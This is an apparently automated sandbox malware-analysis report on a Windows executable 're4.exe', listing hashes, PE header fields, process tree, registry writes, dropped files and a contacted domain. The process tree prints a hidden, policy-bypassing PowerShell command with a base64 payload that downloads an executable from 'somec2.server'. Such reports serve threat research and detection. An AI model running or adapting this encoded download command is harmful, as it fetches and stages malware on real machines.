File name: | re4.exe |
Full analysis: | https://app.any.run/tasks/a860d7b0-2969-4b37-9912-67b06174e3b0 |
Verdict: | Malicious activity |
Analysis date: | June 27, 2022, 11:50:34 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/x-dosexec |
File info: | PE32 executable (console) Intel 80386, for MS Windows |
MD5: | 2C37AC2CD4D8D82D3FFC28A56F7A7902 |
SHA1: | 4730C36ECD2E6F199FE4A22B8F055ECBA0EDB105 |
SHA256: | 4E56373FB7149B2CA283A32303CA02499C912EC465BCE9C18ED0B73E1ADEB45F |
SSDEEP: | 192:Lh6/EpD3YVzDDvVCDRA0ofXrjOW56WY9vNq7E5pzcVSN9:Lh68F3Uv4DRA0EXrjl6WY9s76N9 |
.exe | | | Win64 Executable (generic) (64.6) |
---|---|---|
.dll | | | Win32 Dynamic Link Library (generic) (15.4) |
.exe | | | Win32 Executable (generic) (10.5) |
.exe | | | Generic Win/DOS Executable (4.6) |
.exe | | | DOS Executable Generic (4.6) |
MachineType: | Intel 386 or later, and compatibles |
---|---|
TimeStamp: | 2022:04:09 15:25:44+02:00 |
PEType: | PE32 |
LinkerVersion: | 14.28 |
CodeSize: | 4608 |
InitializedDataSize: | 7168 |
UninitializedDataSize: | - |
EntryPoint: | 0x15c0 |
OSVersion: | 6 |
ImageVersion: | - |
SubsystemVersion: | 6 |
Subsystem: | Windows command line |
Architecture: | IMAGE_FILE_MACHINE_I386 |
---|---|
Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_CUI |
Compilation Date: | 09-Apr-2022 13:25:44 |
Detected languages: |
|
Debug artifacts: |
|
Magic number: | MZ |
---|---|
Bytes on last page of file: | 0x0090 |
Pages in file: | 0x0003 |
Relocations: | 0x0000 |
Size of header: | 0x0004 |
Min extra paragraphs: | 0x0000 |
Max extra paragraphs: | 0xFFFF |
Initial SS value: | 0x0000 |
Initial SP value: | 0x00B8 |
Checksum: | 0x0000 |
Initial IP value: | 0x0000 |
Initial CS value: | 0x0000 |
Overlay number: | 0x0000 |
OEM identifier: | 0x0000 |
OEM information: | 0x0000 |
Address of NE header: | 0x000000F0 |
Signature: | PE |
---|---|
Machine: | IMAGE_FILE_MACHINE_I386 |
Number of sections: | 5 |
Time date stamp: | 09-Apr-2022 13:25:44 |
Pointer to Symbol Table: | 0x00000000 |
Number of symbols: | 0 |
Size of Optional Header: | 0x00E0 |
Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
---|---|---|---|---|---|
.text | 0x00001000 | 0x00001173 | 0x00001200 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.1744 |
.rdata | 0x00003000 | 0x000010C6 | 0x00001200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.65684 |
.data | 0x00005000 | 0x00000400 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 1.77599 |
.rsrc | 0x00006000 | 0x000001E0 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.6976 |
.reloc | 0x00007000 | 0x0000022C | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 4.24398 |
Title | Entropy | Size | Codepage | Language | Type |
---|---|---|---|---|---|
1 | 4.91161 | 381 | UNKNOWN | English - United States | RT_MANIFEST |
KERNEL32.dll |
VCRUNTIME140.dll |
api-ms-win-crt-heap-l1-1-0.dll |
api-ms-win-crt-locale-l1-1-0.dll |
api-ms-win-crt-math-l1-1-0.dll |
api-ms-win-crt-runtime-l1-1-0.dll |
api-ms-win-crt-stdio-l1-1-0.dll |
ntdll.dll |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2640 | "C:\Users\admin\AppData\Local\Temp\re4.exe" | C:\Users\admin\AppData\Local\Temp\re4.exe | Explorer.EXE | |
User: admin Integrity Level: MEDIUM Exit code: 3221225477 | ||||
2952 | c:\windows\syswow64\notepad.exe | c:\windows\syswow64\notepad.exe | — | re4.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Notepad Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3948 | C:\Windows\system32\cmd.exe /c powershell.exe -ep bypass -windowstyle hidden -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AcwBvAG0AZQBjADIALgBzAGUAcgB2AGUAcgAvAGUAeABwAC4AZQB4AGUAIAAtAE8AdQB0AEYAaQBsAGUAIABjADoAXABcAHcAaQBuAGQAbwB3AHMAXABcAHQAZQBtAHAAXABcAGUAeABwAC4AZQB4AGUACgA= | C:\Windows\system32\cmd.exe | — | re4.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2896 | powershell.exe -ep bypass -windowstyle hidden -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AcwBvAG0AZQBjADIALgBzAGUAcgB2AGUAcgAvAGUAeABwAC4AZQB4AGUAIAAtAE8AdQB0AEYAaQBsAGUAIABjADoAXABcAHcAaQBuAGQAbwB3AHMAXABcAHQAZQBtAHAAXABcAGUAeABwAC4AZQB4AGUACgA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) |
(PID) Process: | (2896) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
(PID) Process: | (2896) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
(PID) Process: | (2896) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | FileTracingMask |
Value: | |||
(PID) Process: | (2896) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
(PID) Process: | (2896) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
(PID) Process: | (2896) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
(PID) Process: | (2896) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
(PID) Process: | (2896) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
(PID) Process: | (2896) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
Operation: | write | Name: | FileTracingMask |
Value: | |||
(PID) Process: | (2896) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
Operation: | write | Name: | ConsoleTracingMask |
Value: |
PID | Process | Filename | Type | |
---|---|---|---|---|
2896 | powershell.exe | C:\Users\admin\AppData\Local\Temp\wadnjg4h.zot.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
2896 | powershell.exe | C:\Users\admin\AppData\Local\Temp\myq35eaa.r0n.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
2896 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | dbf | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF |
Domain | IP | Reputation |
---|---|---|
somec2.server |
| unknown |